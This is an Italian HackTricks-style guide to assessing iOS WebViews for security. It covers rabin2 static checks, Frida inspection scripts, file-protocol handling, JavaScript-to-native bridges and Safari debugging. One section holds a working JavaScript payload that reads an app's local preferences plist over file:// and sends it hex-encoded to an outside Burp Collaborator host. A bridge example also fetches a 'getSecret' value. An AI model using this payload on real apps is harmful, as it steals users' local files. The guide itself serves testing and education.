iOS WebViews

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Il codice di questa pagina è stato estratto da qui. Controlla la pagina per ulteriori dettagli.

Tipi di WebViews

Le WebViews vengono utilizzate nelle applicazioni per visualizzare contenuti web in modo interattivo. Diversi tipi di WebViews offrono diverse funzionalità e caratteristiche di sicurezza per le applicazioni iOS. Ecco una breve panoramica:

  • UIWebView, che non è più consigliato a partire da iOS 12 a causa della mancanza di supporto per la disabilitazione di JavaScript, rendendolo suscettibile a iniezioni di script e attacchi di Cross-Site Scripting (XSS).

  • WKWebView è l'opzione preferita per incorporare contenuti web nelle app, offrendo un controllo avanzato sul contenuto e funzionalità di sicurezza. JavaScript è abilitato per impostazione predefinita, ma può essere disabilitato se necessario. Supporta anche funzionalità per impedire a JavaScript di aprire automaticamente finestre e garantisce che tutto il contenuto venga caricato in modo sicuro. Inoltre, l'architettura di WKWebView riduce al minimo il rischio di corruzione della memoria che colpisce il processo principale dell'app.

  • SFSafariViewController offre un'esperienza di navigazione web standardizzata all'interno delle app, riconoscibile dal suo layout specifico che include un campo indirizzo in sola lettura, pulsanti di condivisione e navigazione e un collegamento diretto per aprire il contenuto in Safari. A differenza di WKWebView, JavaScript non può essere disabilitato in SFSafariViewController, che condivide anche cookie e dati con Safari, mantenendo la privacy dell'utente dall'app. Deve essere visualizzato in modo prominente secondo le linee guida dell'App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Riepilogo dell'esplorazione della configurazione delle WebViews

Panoramica dell'analisi statica

Nel processo di esame delle configurazioni delle WebViews, si concentrano principalmente su due tipi: UIWebView e WKWebView. Per identificare queste WebViews all'interno di un binario, vengono utilizzati comandi che cercano riferimenti di classi specifiche e metodi di inizializzazione.

  • Identificazione di UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Questo comando aiuta a individuare le istanze di UIWebView cercando stringhe di testo correlate ad essa nel binario.

  • Identificazione di WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Allo stesso modo, per WKWebView, questo comando cerca nel binario le stringhe di testo indicative del suo utilizzo.

Inoltre, per trovare come viene inizializzato un WKWebView, viene eseguito il seguente comando, mirando alla firma del metodo relativo alla sua inizializzazione:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Verifica della configurazione di JavaScript

Per WKWebView, è evidenziato che disabilitare JavaScript è una pratica consigliata a meno che non sia necessario. Viene effettuata una ricerca nel file binario compilato per confermare che la proprietà javaScriptEnabled sia impostata su false, garantendo che JavaScript sia disabilitato:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Verifica solo contenuto sicuro

WKWebView offre la possibilità di identificare problemi di contenuto misto, a differenza di UIWebView. Questo viene verificato utilizzando la proprietà hasOnlySecureContent per assicurarsi che tutte le risorse della pagina vengano caricate tramite connessioni sicure. La ricerca nel file binario compilato viene eseguita nel seguente modo:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Insight sull'analisi dinamica

L'analisi dinamica consiste nell'ispezionare l'heap per individuare le istanze di WebView e le relative proprietà. Uno script chiamato webviews_inspector.js viene utilizzato a questo scopo, prendendo di mira le istanze di UIWebView, WKWebView e SFSafariViewController. Esso registra informazioni sulle istanze trovate, inclusi gli URL e le impostazioni relative a JavaScript e al contenuto sicuro.

L'ispezione dell'heap può essere effettuata utilizzando ObjC.choose() per identificare le istanze di WebView e verificare le proprietà javaScriptEnabled e hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Lo script viene eseguito con:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Risultati chiave:

  • Le istanze di WebViews vengono individuate e ispezionate con successo.

  • Viene verificata l'abilitazione di JavaScript e le impostazioni di contenuto sicuro.

Questo riassunto riassume i passaggi critici e i comandi coinvolti nell'analisi delle configurazioni di WebView attraverso approcci statici e dinamici, concentrandosi su funzionalità di sicurezza come l'abilitazione di JavaScript e il rilevamento di contenuti misti.

Gestione dei protocolli WebView

La gestione dei contenuti nelle WebViews è un aspetto critico, specialmente quando si tratta di vari protocolli come http(s)://, file:// e tel://. Questi protocolli consentono il caricamento di contenuti remoti e locali all'interno delle app. Si sottolinea che, quando si carica contenuto locale, è necessario prendere precauzioni per evitare che gli utenti influenzino il nome o il percorso del file e modifichino il contenuto stesso.

Le WebViews offrono diversi metodi per il caricamento dei contenuti. Per UIWebView, ora deprecata, vengono utilizzati metodi come loadHTMLString:baseURL: e loadData:MIMEType:textEncodingName:baseURL:. WKWebView, d'altra parte, utilizza loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: e loadRequest: per i contenuti web. Metodi come pathForResource:ofType:, URLForResource:withExtension: e init(contentsOf:encoding:) vengono tipicamente utilizzati per il caricamento di file locali. Il metodo loadFileURL:allowingReadAccessToURL: è particolarmente notevole per la sua capacità di caricare un URL o una directory specifica nella WebView, potenzialmente esponendo dati sensibili se viene specificata una directory.

Per trovare questi metodi nel codice sorgente o nel binario compilato, possono essere utilizzati comandi come i seguenti:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Per quanto riguarda l'accesso ai file, UIWebView lo consente universalmente, mentre WKWebView introduce le impostazioni allowFileAccessFromFileURLs e allowUniversalAccessFromFileURLs per gestire l'accesso da URL di file, entrambe impostate su false di default.

Viene fornito un esempio di script Frida per ispezionare le configurazioni di WKWebView per le impostazioni di sicurezza:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Infine, un esempio di payload JavaScript mirato a esfiltrare file locali dimostra il potenziale rischio per la sicurezza associato a WebView non correttamente configurati. Questo payload codifica i contenuti dei file nel formato esadecimale prima di trasmetterli a un server, evidenziando l'importanza di rigorose misure di sicurezza nelle implementazioni di WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Metodi nativi esposti tramite WebView

Comprensione delle interfacce native WebView in iOS

A partire da iOS 7, Apple ha fornito API per la comunicazione tra JavaScript in una WebView e oggetti nativi Swift o Objective-C. Questa integrazione è principalmente facilitata attraverso due metodi:

  • JSContext: Una funzione JavaScript viene creata automaticamente quando un blocco Swift o Objective-C viene collegato a un identificatore all'interno di un JSContext. Ciò consente un'integrazione e una comunicazione senza soluzione di continuità tra JavaScript e codice nativo.

  • JSExport Protocol: Ereditando il protocollo JSExport, le proprietà native, i metodi di istanza e i metodi di classe possono essere esposti a JavaScript. Ciò significa che le modifiche apportate nell'ambiente JavaScript vengono riflesse nell'ambiente nativo e viceversa. Tuttavia, è essenziale assicurarsi che i dati sensibili non vengano esposti inavvertitamente tramite questo metodo.

Accesso a JSContext in Objective-C

In Objective-C, il JSContext per una UIWebView può essere recuperato con la seguente riga di codice:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Comunicazione con WKWebView

Per WKWebView, l'accesso diretto a JSContext non è disponibile. Invece, viene utilizzato il passaggio di messaggi tramite la funzione postMessage, consentendo la comunicazione tra JavaScript e l'applicazione nativa. I gestori per questi messaggi vengono impostati come segue, consentendo a JavaScript di interagire in modo sicuro con l'applicazione nativa:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interazione e Test

JavaScript può interagire con il livello nativo definendo un gestore di messaggi di script. Ciò consente operazioni come l'invocazione di funzioni native da una pagina web:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Per catturare e manipolare il risultato di una chiamata di funzione nativa, è possibile sovrascrivere la funzione di callback all'interno dell'HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Il lato nativo gestisce la chiamata JavaScript come mostrato nella classe JavaScriptBridgeMessageHandler, dove il risultato delle operazioni come la moltiplicazione dei numeri viene elaborato e inviato nuovamente a JavaScript per la visualizzazione o ulteriori manipolazioni:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial basato su quello di https://blog.vuplex.com/debugging-webviews)

Per effettuare il debug in modo efficace del contenuto web all'interno delle webview di iOS, è necessaria una configurazione specifica che coinvolge gli strumenti per sviluppatori di Safari, poiché i messaggi inviati a console.log() non vengono visualizzati nei log di Xcode. Ecco una guida semplificata, con enfasi sui passaggi chiave e i requisiti:

  • Preparazione sul dispositivo iOS: È necessario attivare il Safari Web Inspector sul tuo dispositivo iOS. Puoi farlo andando su Impostazioni > Safari > Avanzate e abilitando il Web Inspector.

  • Preparazione sul dispositivo macOS: Sul tuo computer di sviluppo macOS, devi abilitare gli strumenti per sviluppatori all'interno di Safari. Avvia Safari, accedi a Safari > Preferenze > Avanzate e seleziona l'opzione Mostra menu Sviluppo.

  • Connessione e debug: Dopo aver collegato il tuo dispositivo iOS al computer macOS e aver avviato la tua applicazione, utilizza Safari sul tuo dispositivo macOS per selezionare la webview che desideri debuggare. Vai su Sviluppo nella barra dei menu di Safari, posiziona il cursore sul nome del tuo dispositivo iOS per visualizzare un elenco delle istanze di webview e seleziona l'istanza che desideri ispezionare. Si aprirà una nuova finestra del Safari Web Inspector a questo scopo.

Tuttavia, tieni presente le limitazioni:

  • Il debug con questo metodo richiede un dispositivo macOS in quanto si basa su Safari.

  • Solo le webview nelle applicazioni caricate sul tuo dispositivo tramite Xcode sono idonee per il debug. Le webview nelle app installate tramite App Store o Apple Configurator non possono essere debuggate in questo modo.

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated